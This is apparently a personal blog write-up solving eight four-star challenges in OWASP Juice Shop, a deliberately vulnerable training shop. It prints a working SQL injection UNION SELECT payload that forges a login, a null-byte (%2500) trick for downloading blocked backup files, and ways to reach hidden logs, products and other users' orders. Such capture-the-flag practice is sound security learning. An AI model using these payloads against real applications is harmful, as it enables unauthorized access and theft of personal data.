WebSec 101: JuiceShop ⭐⭐⭐⭐ challenges 1/3


Welcome to the following part of my web sec journey through Juice Shop!

Today I’m starting four-star challenges and this is where it gets a little wild!

But let’s face it hack-on!


Four-star challenges are the most numerous category in whole Juice Shop – it contains 24 challenges is variety of categories:

  • Sensitive Data Exposure – 7
  • XSS – 3
  • Injection – 5
  • Broken Access Control – 1
  • Improper Input Validation – 1
  • Vulnerable Components – 2
  • Broken Authentication – 2
  • Cryptographic Issues – 1
  • Security through Obscurity – 1
  • Unvalidated Redirects – 1

Today I’m willing to complete 1/3 of them, so 8 challenges In 4 categories:

  • Sensitive Data Exposure – 4
  • Injection – 2
  • Broken Access Control – 1
  • Improper Input Validation – 1

Let’s go!

⭐⭐⭐⭐ Access Log (Sensitive Data Exposure)

In this first challenge we have to gain access to any access log file of the server. As we can read in hints:

  • Normally, server log files are written to disk on server side and are not accessible from the outside.
  • Which raises the question: Who would want a server access log to be accessible through a web application?
  • One particular file found in the folder you might already have found during the Access a confidential document challenge might give you an idea who is interested in such a public exposure. (Worth noting, that it was ⭐one star challenge I’ve described)
  • Drilling down one level into the file system might not be sufficient.

The third hint leads us to directory, which contains:

/ftp/ directory content – is access log here?

But there is nothing that solves this challenge here. After exhaustive search with script similar to DirBuster (or best guess…), we will find another directory:, with subfolder .

/support/logs directory

Downloading the file solves the challenge 😊

⭐⭐⭐⭐Christmas Special (Injection)

I always enjoy Injection challenges, so this one is going to be fun 😊 We have to order the Christmas special offer of 2014.

Long time ago, but we will no worries!

I would like to use knowledge gained previously about the indection. Let’s star with GET /api/Products/ HTTP/1.1 request.

Let’s have a closer look on the response (edited):

{"id":7,"name":"OWASP Juice Shop T-Shirt","description":"Real fans wear it 24/7!","price":22.49,"deluxePrice":22.49,"image":"fan_shirt.jpg","createdAt":"2020-07-31T08:00:44.340Z","updatedAt":"2020-07-31T08:00:44.340Z","deletedAt":null},
{"id":8,"name":"OWASP Juice Shop CTF Girlie-Shirt","description":"For serious Capture-the-Flag heroines only!","price":22.49,"deluxePrice":22.49,"image":"fan_girlie.jpg","createdAt":"2020-07-31T08:00:44.340Z","updatedAt":"2020-07-31T08:00:44.340Z","deletedAt":null},
{"id":9,"name":"OWASP SSL Advanced Forensic Tool (O-Saft)","description":"O-Saft is an easy to use tool to show information about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations. <a href=\"https://www.owasp.org/index.php/O-Saft\" target=\"_blank\">More...</a>","price":0.01,"deluxePrice":0.01,"image":"orange_juice.jpg","createdAt":"2020-07-31T08:00:44.341Z","updatedAt":"2020-07-31T08:00:44.341Z","deletedAt":null},
{"id":13,"name":"OWASP Juice Shop Iron-Ons (16pcs)","description":"Upgrade your clothes with washer safe <a href=\"https://www.stickeryou.com/products/owasp-juice-shop/794\" target=\"_blank\">iron-ons</a> of the OWASP Juice Shop or CTF Extension logo!","price":14.99,"deluxePrice":14.99,"image":"iron-on.jpg","createdAt":"2020-07-31T08:00:44.343Z","updatedAt":"2020-07-31T08:00:44.343Z","deletedAt":null},

There are 3 products (ID 10, 11, 12) missing! All of them, after request with id, such as GET /api/Products/12 returns:

HTTP/1.1 404 Not Found
{"message":"Not Found","errors":[]} 

Let’s try to add some of these into the basket 😊 as we know, it’s POST /api/BasketItems/ request with body e.g.


After chaining it slightly into:


We still received HTTP/1.1 200 OK and "status":"success". Let’s check out basket:

Chistmas Special 2014!

After the checkout, challenge is done 😉

⭐⭐⭐⭐Easter Egg (Broken Access Control)

Now we have to find Easter Egg, and the hint tells us, that if you solved one of the three file access challenges, you already know where to find easter egg.

Let’s remind ftp folder from Access Log challenge:

/ftp/ directory content with eastere.gg in the middle!

Easter egg is right in the middle! But we can not downlad .gg file…. So we have to try with %00 which is know as Null Byte Injection aka Null Byte Poisoning

Null Byte Injection is an exploitation technique used to bypass sanity checking filters in infrastructure by adding URL-encoded null byte characters (i.e., %00, or 0x00 in hex) to the user-supplied data. This injection process can alter the intended logic of the application and allow an attacker to get unauthorized access to system files. 

Null Byte Injection – WhiteHat Security

… but it’s not working! The % character needs to be URL-encoded (into %25) so eastere.gg with %2500.md ending is working 🙂 Visiting

solves the challenge 🙂

⭐⭐⭐⭐Ephemeral Accountant (Injection)

This one looks challenging, because we have to log in with the (non-existing) accountant acc0unt4nt@juice-sh.op without ever registering that user and we have to try to create needed user “out of the air”. Hints tells us that:

  • The user literally needs to be ephemeral as in “lasting for only a short time”.
  • Registering normally with the user’s email address will then obviously not solve this challenge. The Juice Shop will not even let you register as acc0unt4nt@juice-sh.op, as this would make the challenge unsolvable for you.
  • Getting the user into the database some other way will also fail to solve this challenge. In case you somehow managed to do so, you need to restart the Juice Shop application in order to wipe the database and make the challenge solvable again.
  • The fact that this challenge is in the Injection category should already give away the intended approach.

After Database Schema⭐⭐⭐three-star solution we are aware of the exact column names and structure of Users table. Lets check the simple login with ‘ and password x. We are receiving response:

{      "errno": 1,
      "code": "SQLITE_ERROR",
      "sql": "SELECT * FROM Users WHERE email = ''' 
AND password = '9dd4e461268c8034f5c8564e155c67a6' AND deletedAt IS NULL"}

After crafting UNION SELECT like:

' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 
'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 
'accounting' as 'role', '123' as 'deluxeToken', 
'' as 'lastLoginIp' , 
'/assets/public/images/uploads/default.svg' as 'profileImage',
'' as 'totpSecret', 1 as 'isActive',
'1999-08-16 14:14:41.644 +00:00' as 'createdAt',
'1999-08-16 14:33:41.930 +00:00' as 'updatedAt',
null as 'deletedAt')--

For the request, we have correct response (with valid token):

UNION SELECT request&response

And the challenge is solved 😊

⭐⭐⭐⭐Expired Coupon (Improper Input Validation)

Now we have to successfully redeem an expired campaign coupon code. To do that, we are advised to try to identify past special event or holiday campaigns of the shop first. Advanced hints say:

  • Apart from the monthly coupon codes found on Twitter the Juice Shop also offered some seasonal special campaign at least once.
  • Look for clues about the past campaign or holiday event somewhere in the application
  • Solving this challenge does not require actual time traveling

I would start with inspecting js files. Again, I’ll start with main-es2015.js. After looking for Coupon, we can find some campaigns:

this.campaigns = {
                        WMNSDY2019: {
                            validOn: 15519996e5,
                            discount: 75
                        WMNSDY2020: {
                            validOn: 1583622e6,
                            discount: 60
                        WMNSDY2021: {
                            validOn: 1615158e6,
                            discount: 60
                        WMNSDY2022: {
                            validOn: 1646694e6,
                            discount: 60
                        WMNSDY2023: {
                            validOn: 167823e7,
                            discount: 60
                        ORANGE2020: {
                            validOn: 15885468e5,
                            discount: 50
                        ORANGE2021: {
                            validOn: 16200828e5,
                            discount: 40
                        ORANGE2022: {
                            validOn: 16516188e5,
                            discount: 40
                        ORANGE2023: {
                            validOn: 16831548e5,
                            discount: 40

And a function applyCoupon():

applyCoupon() {
                    this.campaignCoupon = this.couponControl.value,
                    this.clientDate = new Date;
                    const t = 60 * (this.clientDate.getTimezoneOffset() + 60) * 1e3;
                    this.clientDate.setHours(0, 0, 0, 0),
                    this.clientDate = this.clientDate.getTime() - t,
                    sessionStorage.setItem("couponDetails", this.campaignCoupon + "-" + this.clientDate);
                    const e = this.campaigns[this.couponControl.value];

So the coupon value depends on transaction and its valid only on a specific time – validOn value.

Let’s check closes date – ORANGE2020, looks like should be valid in 2020. validOn value is equal to 15885468e5, which looks like output of JavaScript Date.now().

After quick converting milliseconds to date at https://currentmillis.com/ coupon should be valid at:

Currentmillis output 😉

The hint says that Solving this challenge does not require actual time traveling. But we can mimic time traveling by changing computer date. As we know from applyCoupon, the date is being take form local system 😊

After chaning local date to 03/05/2020 and applying ORANGE2020 we receive message:

Your discount of 50% will be applied during checkout.

 After checkout the challenge is solved!

⭐⭐⭐⭐Forgotten Developer Backup & Forgotten Sales Backup  (Sensitive Data Exposure)

Now we have to access a developer’s & salesman’s forgotten backup file’s. The hint is that we need to trick a security mechanism into thinking that the file we want has a valid file type.  Lets focus on the stories behind the backup:

During an emergency incident and the hotfix that followed, a developer accidentally pasted an application configuration file into the wrong place. Downloading this file will not only solve the Access a developer’s forgotten backup file challenge but might also prove crucial in several other challenges later on.

Developers story

A salesperson as accidentally uploaded a list of (by now outdated) coupon codes to the application. Downloading this file will not only solve the Access a salesman’s forgotten backup file challenge but might also prove useful in another challenge later on.

Sales stroy

Also, the hints are:

  • Analyze and tamper with links in the application that deliver a file directly.
  • The file is not directly accessible because a security mechanism prevents access to it.
  • You need to trick the security mechanism into thinking that the file has a valid file type.
  • For this challenge there is only one approach to pull this trick.

So after visiting again we can find coupons_213.md.bak and package.json.bak files

/ftp/ directory with package.json.bak and coupons_2013.md.bak

After doing the %2500.md trick (Null Byte Injection) described above, we are able to download the files and solve both challenges.

⭐⭐⭐⭐GDPR Data Theft (Sensitive Data Exposure)

GDPR was already described previously in my WebSec 101: JuiceShop ⭐⭐⭐ challenges 1/2 article.

Now we have to steal someone else’s personal data without using Injection. Simple hint is that we have to trick the regular Data export to give us more than actually belongs.

Let’s analyze Request Data Export cart:

How to get to Request Data Export

It looks like simple export form radio input with request button and captcha:

Request Data Export form

After clicking Request, a POST /rest/user/data-export is being done with body:


The response opens in a new Browser window, and contains:

{"userData":"{\n  \"username\": \"\",\n  \"email\": \"jim@juice-sh.op\",\n
 \"orders\": [\n    {\n      \"orderId\": \"ad9b-9227f16134a4e062\",\n     
\"totalPrice\": 16.84,\n      \"products\": [\n        {\n          \"quantity\": 2,\n         
\"id\": 4,\n          \"name\": \"Raspberry Juice (1000ml)\",\n          \"price\": 4.99,\n          \"total\": 9.98,\n          \"bonus\": 0\n        },\n       
{\n          \"quantity\": 1,\n          \"id\": 6,\n          \"name\": \"Banana Juice (1000ml)\",\n          \"price\": 1.99,\n          \"total\": 1.99,\n          \"bonus\": 0\n        },\n
       {\n          \"quantity\": 1,\n          \"id\": 24,\n          \"name\": \"Apple Pomace\",\n          \"price\": 0.89,\n          \"total\": 0.89,\n          \"bonus\": 0\n        },\n       
{\n          \"quantity\": 1,\n          \"id\": 30,\n          \"name\": \"Carrot Juice (1000ml)\",\n         
\"price\": 2.99,\n          \"total\": 2.99,\n          \"bonus\": 0\n        }\n      ],\n      \"bonus\": 0,\n      \"eta\": \"1\"\n    }\n  ],\n  \"reviews\": [\n    {\n    
 \"message\": \"Looks so much better on my uniform than the boring Starfleet symbol.\",\n    
\"author\": \"jim@juice-sh.op\",\n      \"productId\": 20,\n      \"likesCount\": 0,\n      \"likedBy\": []\n    },\n    {\n      \"message\": \"Fresh out of a replicator.\",\n   
 \"author\": \"jim@juice-sh.op\",\n      \"productId\": 22,\n      \"likesCount\": 0,\n      \"likedBy\": []\n    },\n  
{\n      \"message\": \"Looks spacy on Bones' new tricorder!\",\n      \"author\": \"jim@juice-sh.op\",\n      \"productId\": 37,\n      \"likesCount\": 0,\n      \"likedBy\": []\n 
 }\n  ],\n  \"memories\": []\n}","confirmation":"Your data export will open in a new Browser window."}

Looks good, because I’m using Jim’s account. But hey, there is an order I’ve placed while solving another challenge…

After checked order history, with GET /rest/order-history request, the response is:

[{"quantity":2,"id":4,"name":"Raspberry Juice (1000ml)","price":4.99,"total":9.98,"bonus":0},
{"quantity":1,"id":6,"name":"Banana Juice (1000ml)","price":1.99,"total":1.99,"bonus":0},
{"quantity":1,"id":24,"name":"Apple Pomace","price":0.89,"total":0.89,"bonus":0},
{"quantity":1,"id":30,"name":"Carrot Juice (1000ml)","price":2.99,"total":2.99,"bonus":0}],"bonus":0,"deliveryPrice":0.99,"eta":"1","_id":"JyEaEietQ7XzaqRxr"}]}

Interesting, vowels are obfuscated with * instead.  Let’s try to register different user, e.g. jem@juice-sh.op or jam@juice-sh.op and check the result.

After login with jem@juice-sh.op account, Data Export Request returns:

{ "username": "", "email": "jem@juice-sh.op", 
"orders": [ { "orderId": "ad9b-9227f16134a4e062", "totalPrice": 16.84, "products": 
[ { "quantity": 2, "id": 4, "name": "Raspberry Juice (1000ml)", "price": 4.99, "total": 9.98, "bonus": 0 }, 
{ "quantity": 1, "id": 6, "name": "Banana Juice (1000ml)", "price": 1.99, "total": 1.99, "bonus": 0 }, 
{ "quantity": 1, "id": 24, "name": "Apple Pomace", "price": 0.89, "total": 0.89, "bonus": 0 }, 
{ "quantity": 1, "id": 30, "name": "Carrot Juice (1000ml)", "price": 2.99, "total": 2.99, "bonus": 0 } ], 
"bonus": 0, "eta": "1" } ], "reviews": [], "memories": [] }

Which is Jim’s order 😊 and the challenge is solved!

Note: From Confidential Document challenge in WebSec 101: JuiceShop ⭐ challenges, as we know with the orderId: ad9b-9227f16134a4e062 and GET rest/track-order/<orderId> we can steal someone’s data.


Scoreboard for another part of this competition: done & green!

Score board for this part

It’s still one-third of four-star challenges but I have to tell you, that we are having 53%!!! Of all challenges done!

This will motivate me to keep going and keep solving!

That’s it for today 😊 I’m going for my well-deserved rest and I hope you enjoyed this article!

If you have any questions do not hesitate to contact me!


Reference list:

  1. Pwning OWASP Juice Shop
  2. Null Byte Injection – WhiteHat Security

Check out related posts:

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: